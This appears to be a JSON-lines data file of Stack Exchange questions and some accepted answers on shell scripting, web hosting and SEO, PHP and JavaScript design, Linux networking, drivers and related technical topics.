{  "id": "_unix.228634"  , "question": "I want to do a line count and get the number into a variable in a shell script.For eg. wc -l filename.datgives 221 filename.datI want to grep '221' into a variable, which I could use later.Can this be done in a single statement ? I don't want to copy the output of wc -l into another file and then grep."  , "title": "line(records) Count and grep together in a one command on a dat file"  , "tags": "shell;wc"  , "accepted_answer": "You can pass the filename to the STDIN of wc to get only the number of lines :wc -l <filename.datTo save it as a variable :var=$(wc -l <filename.dat)Example :$ wc -l foo.txt 12 foo.txt$ wc -l <foo.txt 12$ var=$(wc -l <foo.txt)$ echo $var12Note that as Stphane Chazelas has pointed out, some wc variants might add spaces before and after the number of lines to get desired alignment."  } 
{  "id": "_webmaster.105217"  , "question": "I've moved my WordPress site from HTTP to HTTPS almost a month ago. Here are the steps that I've taken:Replace all the internal links over the site like navigation etc. (HTTP links still there in content)Changed the protocol in Google Analytics.Add new property in Web Master Tools with the HTTPS protocol.Force HTTPS everywhere via .htaccess fileChange the site address in WordPress admin panelAfter all these, Google still keeps HTTP links in SERPs and whenever I Google https://example.com it goes:Did you mean http://example.comMoreover, when I Google site:example.com inurl:http it returns like 1450 results, and for site:example.com inurl:http://example.com it returns 130 results.In my opinion, something makes my site stuck in HTTP and does not let it be HTTPS.Is there anyone here with any suggestions?"  , "title": "HTTP links still in Google's SERPs after moving to HTTPS"  , "tags": "google;https;serps;search results"  } 
{  "id": "_softwareengineering.236630"  , "question": "I have started building a charting library on top of d3js using javascript's inheritance. My goal is to develop reusable and fully customizable chart components. I read the article: Towards Reusable Charts. Then, I went through the source code of nvd3. NVD3 uses boiler plate code in each chart like: copying and pasting definitions for width, height, margin etc. BUT I would rather use inheritance to avoid such boiler plate code. I would like properties like: dimensions, axes and functions like zooming and event listeners to be reusable among all charts and customizable through any instance (object) of the chart.Here is what my current library looks like. (It only supports bubble chart for now.)var BaseChart = function(){    this.width = 200;     this.height = 200;//and others like: margin/ chart title}//XYChart inherits from BaseChartvar XYChart = function(){    //It contains members for axes, axis groups, labels, ticks, domains and ranges    //Example: One of the members it contains is this.yAxis    this.yAxis = d3.svg.axis().scale(this.scaleY)            .orient(left)            .ticks(this.yTickCnt)            .tickSize(-this.width);}//Extends XYChart and adds zoomingvar ZoomableXYChart = function(){    this.zoom = function(){        this.svg.selectAll(this.dataShape)            .attr(transform, function(d, i) {                var translate = that.calculateTranslation(d);                return translate( + translate.x + , + translate.y + );            });    }}//Extends zoomable XY chart and adds support for drawing shapes on data pointsvar BubbleChart = function(){    this.dataShape = path;    this.drawChart = function()    {        this.prepareChart();//Attaches zooming, draws axes etc.        var that = this;        this.svg.selectAll(that.dataShape)            .data(that.data)            .enter()            .append(that.dataShape)            .attr(transform, function(d) {                return that.transformXYData(d);            })            .attr(d, symbolGenerator().size(100).type(function(d) {                return that.generateShape(d);            }))            .attr(fill, function(d) {                return that.generateColor(d);            })            .on(click, function(d) {                that.onClickListener(this, d);            })    }}I can create a chart in this way:var chart = new BubbleChart();chart.data = someData;chart.width = 900;chart.elementId = #myChart;chart.onClickListener = function(this,d){}chart.drawChart();This solution allows me to use common properties and functions across all charts. In addition to that, it allows any instance of any chart to override default properties and functions (like: onClickListener).Do you see any limitations with such a solution? I haven't really seen javascript's inheritance used for d3.js and I wonder why? Is chaining that important? Using Mike Bostock's suggestions, how can we share functions like zooming across all XY charts? Isn't inheritance absolutely necessary to share functions and properties?"  , "title": "Reusable and customizable charting library on top of d3js"  , "tags": "javascript;libraries;inheritance;code reuse"  } 
{  "id": "_codereview.142148"  , "question": "I'm writing a simple database class so I could use it in my future projects. It is based on some Codeigniter database methods, but my implementation, so if you could review this, that would be cool. It is not finished yet, but I want to remove all bad code early on.<?phpclass Database {    private static $instance = null;    private $pdo;    private $query;    private $results;    private $count = 0;    private $error = false;    private $query_string = ;    private $bindValues = array();    private $lastId;    private function __construct() {        try {            // Put your database information            $this->pdo = new PDO(mysql:host=127.0.0.1;dbname=login,root,);        } catch (PDOException $e) {            die($e->getMessage());        }    }    public static function getInstance() {        if (is_null(self::$instance)) {            self::$instance = new Database();        }        return self::$instance;    }    public function query($sql, $parameters = array()) {        $this->error = false;        if ($this->query = $this->pdo->prepare($sql)) {            $i = 1;            foreach ($parameters as $param) {                $this->query->bindValue($i, $param);                $i++;            }            if ($this->query->execute()) {                // You can PDO::FETCH_OBJ instad of assoc, or whatever you like                $this->results = $this->query->fetchAll(PDO::FETCH_ASSOC);                $this->count = $this->query->rowCount();                $this->lastId = $this->query->lastInsertId();            } else {                $this->error = true;            }        }        return $this;    }    public function select($fields = *) {        $action = ;    $this->query_string = ;        if (is_array($fields)) {            $action = SELECT ;            for ($i = 0; $i < count($fields); $i++) {                $action .= $fields[$i];                if ($i != count($fields) - 1)                    $action .= ', ';            }        } else {            $action = SELECT * ;        }        $this->query_string .= $action;        return $this;    }    public function from($table) {        $this->query_string .=  FROM {$table} ;        return $this;    }    public function where($where = array()) {        $keys = array_keys($where);        $action =  WHERE ;        for ($i = 0; $i < count($keys); $i++) {            $action .= $keys[$i] . ' = ?';            if ($i < count($keys) - 1)                $action .= ' AND ';            $this->bindValues[] = $where[$keys[$i]];        }        $this->query_string .= $action;        return $this;    }    public function execute() {        if (!empty($this->query_string))            $this->query($this->query_string, $this->bindValues);        $this->bindValues = array();    }    public function getQueryString() {        return $this->query_string;    }    public function results() {        return $this->results;    }    public function first() {        return $this->results[0];    }    public function last() {        return $this->results[$this->count-1];    }    public function row($id) {        return $this->results[$id];    }    public function error() {        return $this->error();    }    public function count() {        return $this->count;    }    public function lastId() {        return $this->lastId;    }}"  , "title": "Simple PDO database class in PHP"  , "tags": "php;object oriented;database;pdo"  } 
{  "id": "_softwareengineering.117064"  , "question": "I was wondering what is the reason behind pagination? Is it used because it lessens the burden on the servers since we would technically limit the amount of rows returned per page?I wanted to do something without pagination but given that I am new to this (I am an amateur) started wondering if its OK technically or not."  , "title": "Does having pagination lessens server load? (theory)"  , "tags": "php;pagination"  } 
{  "id": "_unix.277444"  , "question": "I'm trying to perform the same process on all subdirectories.  This should exclude the current directory, but I'm still matching on that and I don't know why.# Make a dummy file tree to test withmkdir d d/d{1..3}find ./d -type d -exec bash -c echo '{}' \\;d/d/d1d/d2d/d3"  , "title": "How to ignore passed directory in find command directory search?"  , "tags": "find"  , "accepted_answer": "Well it is a directory and (-type d) so it gets printed. You can try to set the minimum depthfind ./d -mindepth 1 -type d"  } 
{  "id": "_unix.304275"  , "question": "I'm using ubuntu 14.04 and did a apt-get install phpmyadmin I went through the install process and forgot to check off an option to install it for apache2. The install didn't finish, but it must have edited something on my system and I can't seem to start mysqld anymore. root@drupalpro:/var/log/mysql# service mysql start * Starting MariaDB database server mysqld                                                                                                                                                                                                                     [fail] root@drupalpro:/var/log/mysql# service mysql status * MariaDB is stopped.root@drupalpro:/var/log/mysql# When starting mysqld it just says starting and then hits me back to the prompt. And mysql isn't started at all. How would one fix something like this? This is crazy that just because I forgot to check off a checkbox it just screwed up my entire system. "  , "title": "Screwed up installing phpmyadmin and now mysql / mariadb won't start"  , "tags": "mysql;phpmyadmin"  } 
{  "id": "_webmaster.28824"  , "question": "I want to make a 301 redirect to a different page on a different domain.  The page is on the same topic, but is different content.Also, the traffic to the original page comes from the alt text on an image.  I'm sure that the alt text is different on the same image from the other page.Is this wise to do and will it last?  Or, should 301 redirects only be done when it's the exact same content?  Thank you."  , "title": "301 redirect to different page on different domain?"  , "tags": "redirects;indexing;301 redirect"  , "accepted_answer": "I didn't understand your second sentence.It's perfectly fine to use 301 redirect even if the content of the page is different, redirecting to another domain is called domain redirection or domain forwarding.What you want to avoid is using 302 redirect which means moved temporarily.You might be interested in reading more about 301 redirect, I recommend going over this and this."  } 
{  "id": "_webmaster.106230"  , "question": "There are a lot of schemas out there. Which should I use for my website SEO? Which are useless or may even be harmful? I will explain my question by the description tag:Schema.org: This is Google's first choice when it comes to SEO so I guess I SHOULD use it (either as JSON-LD or with Microdata).<meta itemprop=description content=fdsa />Open Graph: Also mandatory as the number one choice by social media websites.<meta property=og:description content=fdsa />Dublin Core: May be useful? Is also used e.g. by geolocation services.<meta name=DC.Description content=fdsa>Standard Meta: <meta name=description lang=de-DE content=fdsa />Lets assume that the user may enter a different og:description, however the other descriptions would be usually the same. Anyway I may add useful additional information through each schema so my first guess it would be o.k. to use each of those?However I read somewhere that duplicate metadata is considered harmful for SEO. So my question is: Is it o.k. or is it better to stick with one or two?"  , "title": "Website metadata SEO: Schema.org, Open Graph, Dublin Core and standard meta vs. duplicate meta?"  , "tags": "seo;duplicate content;schema.org;meta tags"  , "accepted_answer": "I read somewhere that duplicate metadata is considered harmful for SEOThis is nonsense. I don't suppose the article you read referenced an authoritative source for this? I recommend treating with caution any pronouncements of absolute SEO knowledge that aren't either from a search engine or supported by high quality research.Anyway, you've largely answered your own question. Schema.org is a collaboration between major search engines, including Google, Bing and Yandex. From an SEO point of view, this is the important one.Likewise, Open Graph (and Twitter Cards) have demonstrable benefits for social. Standard, valid HTML metadata are supported to varying degrees by different search engines. No harm using any that serve a clear purpose, even if some search engines will ignore them.Dublin Core, to the best of my knowledge, was never widely supported and so offers little advantage. That said, there's no harm using it if you want to. "  } 
{  "id": "_unix.226772"  , "question": "I tried to upgrade(in-place) CentOS 6.7 to CentOS 7.0 on the various environments.I installed CentOS-6.7-x86_64-bin-DVD1.iso on VWware 11.0.And I followed the https://wiki.centos.org/TipsAndTricks/CentOSUpgradeTool.When I run the preupg, I got the following results.We found some potential in-place upgrade risks.And then I continued to work the upgrading.But after completeing the upgrade I can't start due to kernel panic or login to system.Please tell me the reason.I expected that the minimal system of CentOS 6.7 will be upgrading successfully and I installed CentOS-6.7-x86_64-minimal.iso and tried to upgrade, but I failed.My questions:The command preupg and redhat-upgrade-tool are not yet completed?The upgrading on CentOS is not recommended? If so, Why?The upgrading on RHEL 6.7 is woring well?(I have no RHEL 6.7)"  , "title": "Upgrading CentOS 6.7 to CentOS 7 on VMWare 11.0"  , "tags": "centos;upgrade;x86"  } 
{  "id": "_webapps.31807"  , "question": "There is a Git repository that I want to be notified about. Any notificatioin would be fine: RSS would be the best, but Twitter or similar notifications are acceptable too. Unfortunately, the page is not understood by Twitterfeed:Your feed might be empty or missing publish dates or GUIDsIs there another service that understands Git history and pushes a notification when a new commit is made?Actually this open source project has most of the code that would be needed to create such a service."  , "title": "Watch a Git repository on Google Code? (RSS/Twitter/...)"  , "tags": "google code"  , "accepted_answer": "To answer to the question the feed is here.As a bonus note: Firefox removed the RSS button over a year ago because allegedly only 3% of users used it. You can still check if a page has an RSS by going Bookmarks Subscribe to this page or by right clicking on the tool bar, selecting Customise and dragging the icon back to its rightful place."  } 
{  "id": "_unix.190238"  , "question": "I have divided my ssd into two partitions, one for the root and one for the home directories. Unfortunately I have provided too few space for the root directory and I would like to expand it, by shrinking the home directory.I have found the resize2fs that it can expand the partition while been in use but I don't have the expertise to complete all the steps without a guide. Can you provide me with some steps of what to do to shrink the Home partition and expand the root partition without having to format the complete disk?"  , "title": "Resizing home and root partions at opensuse"  , "tags": "partition;opensuse;resize2fs"  } 
{  "id": "_webmaster.9100"  , "question": "I have a 16x16 PNG that I want to use for my favicon. It works fine in modern browsers, but I need a favicon.ico file for older ones. The problem is that either the ICO format doesn't support semi-transaprency, which my favicon uses, or the converters I've found online don't support it.Which is it? If the format supports it, how can I convert a PNG to an ICO with semi-transparency?"  , "title": "How can I make a good favicon?"  , "tags": "favicon"  , "accepted_answer": "Here's a website I found using photoshop and a website to do it.Here's another website I found that deals with the Windows ICO plugin for Photoshop - located here.Warning: I have NOT tested that file download for exclusion of viruses - download at your own risk."  } 
{  "id": "_cogsci.1448"  , "question": "In their classic study, Ekman and Friesen (1971) identified seven facial expressions recognised by people universally across all cultures as depicting certain emotions: happiness, sadness, surprise, fear, anger, disgust and contempt. This is quite solid paradigm, but recent studies showed some cross cultural differences. For example Western Caucasian observers tend to look fairly evenly across all areas of the face, whereas Eastern Asian observers focus their attention toward the eye region (Jack et al., 2009). Ekman, P., & Friesen, W. V. (1971). Constants across cultures in the  face and emotion. Journal of Personality and Social Psychology, 17(2),  124-129.Jack, R. E., Blais, C., Scheepers, C., Schyns, P. G., & Caldara, R.  (2009). Cultural confusions show that facial expressions are not  universal. Current biology, 19(18), 1543-8.While facial expression literature on the topic is vast, there is very limited research into cross cultural differences in perception of emotions from dynamic body expression. There have been some attempts to look at the static body posture (Kleinsmith et al., 2006), but virtually nothing on the dynamic body expressions. Ok, there is one study by Sneddon et al. (2011) but their stimuli contain facial expression together with movement, and I am specifically interested in the research where participants only view body movement/expression.Kleinsmith, A., De Silva, P. R., & Bianchi-Berthouze, N. (2006).  Cross-cultural differences in recognizing affect from body posture.  Interact. Comput., 18(6), 1371-1389.Elfenbein, H. (2003). Universals and Cultural Differences in  Recognizing Emotions. Current Directions in Psychological, 159-164.Sneddon, I., McKeown, G., McRorie, M., & Vukicevic, T. (2011).  Cross-cultural patterns in dynamic ratings of positive and negative  natural emotional behaviour. PloS one, 6(2).Is there any (published) research that has been done on comparing cross cultural differences in the perception of emotions from body movement?"  , "title": "Do cultures differ in the perception of emotions from body expression?"  , "tags": "cognitive psychology;emotion;cross cultural psychology"  } 
{  "id": "_unix.202840"  , "question": "I've opened a terminal session and started some processes with &. When I tried closing the terminal window, it warned me that there were still jobs running in the background.I can see the processes running with ps, but how can I know which ones were started through this session?"  , "title": "processes started in this session"  , "tags": "bash;process"  , "accepted_answer": "jobs -l       Lists process IDs of the active jobs"  } 
{  "id": "_softwareengineering.140125"  , "question": "There are multiple ways of tracking code ownership (i.e., collective, team or individual).In case of team or individual ownership, how do you:track ownership?deal with situations when dev leaves or team splits/re-organizes for new projects?"  , "title": "Code ownership: What should I do when a dev leaves or team splits?"  , "tags": "project management;team;knowledge transfer;code ownership"  , "accepted_answer": "As a team leader, you should always plan for someone leaving / getting hit by a bus. People implement this in many ways: Pair programming / buddy testing and so on. Sole proprietorship in a corporate environment is detrimental to both the company and the developer. The developer can never be promoted because he is too important to move away from this, or worse, could be promoted too high, just to keep him around and will be the first one to be laid off in lean times. Its a lose lose scenario.Having said that, whenever teams split, I have seen serious knowledge transfer sessions / recorded presentations / documentation touch ups happen."  } 
{  "id": "_unix.367825"  , "question": "I'm planning to set-up a server, running centos 7, that is connected to three networks with three eth ports. Those three networks belong to 10.0.0.0/8. I configured 10.0.0.0/8 into two eth ports (static route). The other one port is for the default route. I know that there would be a routing conflict between the two eth ports. Is there a possible solution to resolve this routing issue in such a way that I'm not going to breakdown the 10.0.0.0/8?"  , "title": "Same static route configuration on two different interface (Centos7)"  , "tags": "routing"  } 
{  "id": "_unix.113423"  , "question": "I am attempting to connect a Huawei E3131B 3g modem using Linux. I use usb-modeswitch and pppd.First I mode-switch the modem using the command:usb_modeswitch -c /etc/usb_modeswitch.d/12d1:14fe -v 12d1 -p 14fe(12d1:14fe) is the address of the modem. This creates the /dev/ttyUSB0, 1 and 2 ports that can be used to communicate serially with the modem. Next, I run pppd with the following options:debugmodem/dev/ttyUSB0460800crtsctslock-detachnoipdefaultdefaultroutedumpnoauthconnect '/usr/sbin/chat -v -t 60 -f /etc/ppp/chat-isp':The connection script, chat-isp, looks as follows:ABORT 'BUSY'ABORT 'NO CARRIER'''      ATIOK      AT+CRSM=176,65507,0,0,17OK      AT+CGDCONT=1,IP,internetOK      ATQ0 V1 E1OK      AT+CPIN=0000OK      AT+COPS=0,2OK      AT+FCLASS=0OK      AT+S0=0OK      AT&D2&C1OK      ATD*99#CONNECT ogin:sword:I'm going to be honest and say some of those AT commands are there plainly to try to get this thing to work! Can someone please help by telling me what is wrong with the connection script and what order / what AT functions need to be used to set up the modem?"  , "title": "Connect Huawei E3131B 3g Modem"  , "tags": "usb;angstrom;3g"  } 
{  "id": "_vi.11236"  , "question": "Is there a standard way to compare two strings in vim so that I can quickly determine which string is sorted before the other.Something likestrcmp(str1, str2) to return 0 if str1 == str2, 1 if str1 > str2 and -1 if str1 < str2"  , "title": "How do I alphabetically compare two strings"  , "tags": "vimscript;string manipulation"  } 
{  "id": "_webapps.75084"  , "question": "I'm lucky enough to live far away from literately everything, middle of freaking nowhere, and my land line doesn't work at the moment. So all I had for communication was my e-mail, in this case Gmail. Now Google have deactivated my account and I need a phone verification to reactivate it. Any chance of bypassing this? I don't have a phone for miles."  , "title": "Can I verify my deactivated Google account without having a phone?"  , "tags": "google account"  } 
{  "id": "_softwareengineering.336988"  , "question": "Polyglot Programs strikes me as pretty confusing and error prone. Right away I don't see any use to it besides showing-off. Wouldn't that be a bad programming pattern, since it's not modular?Is there something that can be implemented with it that's cleaner than designing software applications as suites of independently deployable modules/libraries/services?"  , "title": "When is a polyglot program something worth using/deploying?"  , "tags": "design patterns"  } 
{  "id": "_unix.211186"  , "question": "If i do:ssh 192.168.1.8 //my wlan0 connectioni get:ssh: connect to host 192.168.1.8 port 22: Connection refusedHowever, if i plug the LAN, i can ssh to 192.168.1.7 (wired ip). And after that, i can ssh to 192.168.1.8 (wlan0 port) with no issues even after unplugging lan.What can it be?Drawing:"  , "title": "SSH: connection refused to wlan, works when i plug wired lan and unplug"  , "tags": "ssh;wifi"  } 
{  "id": "_datascience.6848"  , "question": "(I've posted this question on CV, but I feel it would also be great to hear from experts in DS community.)As a PhD student starting to think about dissertation topics, I am particularly interested in high-dimensional statistical learning. I wish to find some research review/survey/papers (or webpages, blogs, whatever...) about the state-of-the-art research in this research area, but there seems limited resources I can obtain. My first question is then,Could you describe some current interesting research topics inhigh-dimensional statistics? If you can list any relevant resources(papers, webpages, etc.), that would be really helpful.In addition, I've noticed that high-dimensional statistical learning is closed related with machine learning research. For example, the idea of penalized regularization in high-dimensional statistics was used in machine learning domain, like support vector machine, boosting tree, (sparse) additive models, etc. My question is,what are good research papers about the interplay ofhigh-dimensional statistics and machine learning?Last, since high-dimensional statistics was really motivated by genetic research (like gene-expression analysis, or genome-wide association studies), most of applications in high-dimensional research are devoted in that area.Are there any successful applications of high-dimensional statisticsin areas other than genetics, particularly say, image/text mining,recommendation, etc, areas where machine learning techniques havelong been used?A new question to machine learning researchers/practitioners: I might be wrong, but as I understand, most machine learning algorithms are designed for low-dimensional problems (or at least the number of features is smaller that number of observations). Are there any successful applications of machine learning techniques for modeling high-dimensional data? Any resources/comments are highly appreciated. Thanks."  , "title": "Research in high-dimensional statistics vs. machine learning?"  , "tags": "machine learning;statistics"  } 
{  "id": "_cs.74320"  , "question": "How do I change the Bellman-Ford algorithm so replaces v.d to -inf for all vertices v for which there is a negative-weight cycle on some path from the source to v?I've been thinking about it, and don't think    for each edge (u, v) in G.E        if v.d > u.d + w(u, v)            v.d = -infcuts it. Since we are in a cycle, do I simply recurse through it and change the other distances / parents? Help -- how do I do this?"  , "title": "Question about Bellman Ford modification algorithm"  , "tags": "algorithms;graphs;weighted graphs"  } 
{  "id": "_unix.13091"  , "question": "I have a flash drive, let's name it FLASH.I want, when on my mac, when FLASH is plugged (and automatically mounted), execute a specific script and make ~/Documents to be automatically copied to /Volumes/FLASH/Documents (mac mounts drives at /Volumes).This same drive, FLASH, (with this new Documents folder added before with the mac situation), when plugged in an Ubuntu machine, I want it to automatically copy FLASH/Documents to ~/Documents (or automatically execute an script, after mounting).How should I do this in these different scenarios? I don't want to use third party applications for this, I prefer using core/builtin tools available in both platforms."  , "title": "Sync files from a mac to a flash drive - automatically?"  , "tags": "ubuntu;backup;rsync;macintosh"  , "accepted_answer": "Use a launchd item using the StartOnMount key!# example launchd plist file using StartOnMount keyopen -e /System/Library/LaunchDaemons/com.apple.backupd-attach.plistFurther information: The macosxhints Forums: launchD StartOnMount helpMacEnterprise: Snow Leopard, launchd, and Lunch (Recipe 7: Run a script when a volume is mounted)"  } 
{  "id": "_webmaster.61132"  , "question": "I am using Magento for one of my site. In Magento there is a file mage (no extension file name is mage only) to block this file I write robots.txt as# FilesUser-agent: * Disallow: /mageBut this also block URLs start with mage like magenta-color-item.html.How I write in robot to block mage only not URL start with mage?"  , "title": "robots.txt blocking specific files also block unnecessary URLs"  , "tags": "url;web crawlers;robots.txt;magento"  , "accepted_answer": "You can add a dollar sign to the end of the string which means it will only match exactly that entry:# FilesUser-agent: * Disallow: /mage$This will only block the mage file if it come straight after the root domain:www.example.com/mageIf there are any other preceding directories, you must add these o the entry. So to block the file located below:www.example.com/somedirectory/mageYou would need to use:# Files    User-agent: *     Disallow: /somedirectory/mage$"  } 
{  "id": "_unix.311977"  , "question": "As some may know, Firefox 49 now includes the Google Widevine CDM for Linux!!! This works perfectly for viewing some encrypted streams such as the ones here: http://demo.castlabs.com/, however when trying to watch the streams on Netflix or Amazon Video I run into trouble.With Netflix I am told to install the Silverlight plugin and with Amazon I just get an error which send me to the help page advising me to update Google Chrome.I assume I need to switch my user agent for this which I do know how to do, though I cannot find one which works. Has anyone found a user agent which will allow Netflix and/or Amazon Video to work?"  , "title": "How to Watch Netflix/Amazon Video on Firefox 49?"  , "tags": "firefox"  , "accepted_answer": "This one worked for me for Netflix:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36But it doesn't work for Amazon. On Amazon the window expands but no video player ever launches.(Mint 18, Firefox 49 from MintUpdate. I had to enable DRM content, of course.)"  } 
{  "id": "_unix.384173"  , "question": "I am using Linux Mint and tethering Internet through my phone.Every time I enable tethering, my DNS on computer is being set to 127.0.0.1 which results in being unable to resolve any name. I have to manually open network settings panel and change DNS to 8.8.8.8 (google's DNS). It works till next time I enable tethering (that is, multiple times per day).I have tried saving them in network connection panel for this particular connection, but it seems to be completely ignored.I have also tried to edit /etc/resolv.conf and even remove write permissions, but sooner or later it gets overwritten anyway.What is changing my DNS settings and how to make it stop?"  , "title": "Stop changing my DNS!"  , "tags": "linux mint;dns"  } 
{  "id": "_unix.290370"  , "question": "For the past few days, my Debian install keeps randomly hanging every 5-30 minutes. The screen freezes. Sometimes GDM kicks me back to the login screen after a little while. Other times it just completely freezes. It started after I did a dist-upgrade for the first time in a few weeks, inc upgrading to Gnome 3.20.Here's what I found in the syslog, a similar set of messages appear each time:Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) [mi] EQ overflowing.  Additional events will be discarded until existing events are processed.Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE)Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) Backtrace:Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 0: /usr/lib/xorg/Xorg (xorg_backtrace+0x4e) [0x55fd88968f6e]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 1: /usr/lib/xorg/Xorg (mieqEnqueue+0x253) [0x55fd8894aa33]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 2: /usr/lib/xorg/Xorg (QueuePointerEvents+0x52) [0x55fd88823632]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 3: /usr/lib/xorg/Xorg (xf86PostMotionEvent+0xd6) [0x55fd8885a956]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 4: /usr/lib/xorg/modules/input/synaptics_drv.so (0x7f0fbb634000+0x5f89) [0x7f0fbb639f$Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 5: /usr/lib/xorg/modules/input/synaptics_drv.so (0x7f0fbb634000+0x7532) [0x7f0fbb63b5$Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 6: /usr/lib/xorg/Xorg (0x55fd887b7000+0x940f8) [0x55fd8884b0f8]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 7: /usr/lib/xorg/Xorg (0x55fd887b7000+0xb9392) [0x55fd88870392]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 8: /lib/x86_64-linux-gnu/libc.so.6 (0x7f0fc3a6d000+0x334e0) [0x7f0fc3aa04e0]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 9: /lib/x86_64-linux-gnu/libc.so.6 (ioctl+0x5) [0x7f0fc3b4e4f5]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 10: /usr/lib/xorg/modules/drivers/intel_drv.so (0x7f0fbf3ef000+0x24f5d) [0x7f0fbf413f$Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 11: /usr/lib/xorg/modules/drivers/intel_drv.so (0x7f0fbf3ef000+0x28904) [0x7f0fbf4179$Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 12: /usr/lib/xorg/modules/drivers/intel_drv.so (0x7f0fbf3ef000+0x5c3ee) [0x7f0fbf44b3$Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 13: /usr/lib/xorg/Xorg (BlockHandler+0x4a) [0x55fd8880f5ba]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 14: /usr/lib/xorg/Xorg (WaitForSomething+0x163) [0x55fd88965c33]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 15: /usr/lib/xorg/Xorg (0x55fd887b7000+0x53a1e) [0x55fd8880aa1e]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 16: /usr/lib/xorg/Xorg (0x55fd887b7000+0x57c03) [0x55fd8880ec03]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 17: /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0xf0) [0x7f0fc3a8d5f0]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) 18: /usr/lib/xorg/Xorg (_start+0x29) [0x55fd887f8f99]Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE)Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) [mi] These backtraces from mieqEnqueue may point to a culprit higher up the stack.Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) [mi] mieq is *NOT* the cause.  It is a victim.Jun 17 11:18:10 piglet kernel: [ 1087.627729] [drm] stuck on render ringJun 17 11:18:10 piglet kernel: [ 1087.634979] [drm] GPU HANG: ecode 8:0:0xfffffffe, in Xorg [1162], reason: Ring hung, action: resetJun 17 11:18:10 piglet kernel: [ 1087.634995] [drm] GPU hangs can indicate a bug anywhere in the entire gfx stack, including userspace.Jun 17 11:18:10 piglet kernel: [ 1087.635004] [drm] Please file a _new_ bug report on bugs.freedesktop.org against DRI -> DRM/IntelJun 17 11:18:10 piglet kernel: [ 1087.635012] [drm] drm/i915 developers can then reassign to the right component if it's not a kernel issue.Jun 17 11:18:10 piglet kernel: [ 1087.635019] [drm] The gpu crash dump is required to analyze gpu hangs, so please always attach it.Jun 17 11:18:10 piglet kernel: [ 1087.635029] [drm] GPU crash dump saved to /sys/class/drm/card0/errorJun 17 11:18:10 piglet kernel: [ 1087.641887] drm/i915: Resetting chip after gpu hangJun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: [mi] Increasing EQ size to 1024 to prevent dropped events.Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: [mi] EQ processing has resumed after 37 dropped events.Jun 17 11:18:10 piglet /usr/lib/gdm3/gdm-x-session[1160]: [mi] This may be caused by a misbehaving driver monopolizing the server's resources.Jun 17 11:18:13 piglet pulseaudio[916]: [pulseaudio] sink-input.c: Failed to create sink input: sink is suspended.Jun 17 11:18:18 piglet kernel: [ 1095.635999] [drm] stuck on render ringJun 17 11:18:18 piglet kernel: [ 1095.642984] [drm] GPU HANG: ecode 8:0:0xfffffffe, in Xorg [1162], reason: Ring hung, action: resetJun 17 11:18:18 piglet kernel: [ 1095.643414] [drm:i915_set_reset_status [i915]] *ERROR* gpu hanging too fast, banning!Jun 17 11:18:18 piglet kernel: [ 1095.646268] drm/i915: Resetting chip after gpu hangJun 17 11:18:18 piglet /usr/lib/gdm3/gdm-x-session[1160]: (EE) intel(0): Failed to submit rendering commands (Input/output error), disabling acceleration.My system is completely up to date, on Debian stretch.How can I try to stop this? Could I switch drivers from the Intel i915 driver? Or disable the DRM or some other element in the grub config?"  , "title": "Debian keeps hanging, may be graphics driver issue"  , "tags": "debian;xorg;crash;i915"  } 
{  "id": "_unix.73459"  , "question": "I have a virtual machine set up with a directory created with virtualenv (env2). I am inside this directory and have it activated and want to instal django 1.4. This is my command:$ pip install django==1.4But it returns saying that the hashes don't match. The thing is, they do match though. Anyone know my problem?"  , "title": "Django not installing with pip because of mismatched hash"  , "tags": "python;django;pip"  } 
{  "id": "_hardwarecs.2419"  , "question": "Is there any WiFi USB adapter that works without any errors with the 802.11ac WiFi standard in the 2.4GHz and the 5GHz bands with USB 3.0?I have a WiFi adapter (TP-Link Archer T4U), but it gives me a lot of problems (One being that TP-Link does not provide a driver for Linux...). There are problems when I try to change/read the power transmission, when I try to get the bit rate, etc. So, I was wondering if there was a WiFi adapter that works with the 802.11ac standard and USB 3.0 that does not have so many problems and will work well."  , "title": "Are there any 802.11ac usb 3.0 adapters working well in Ubuntu?"  , "tags": "usb;wifi;wireless;network adapter"  } 
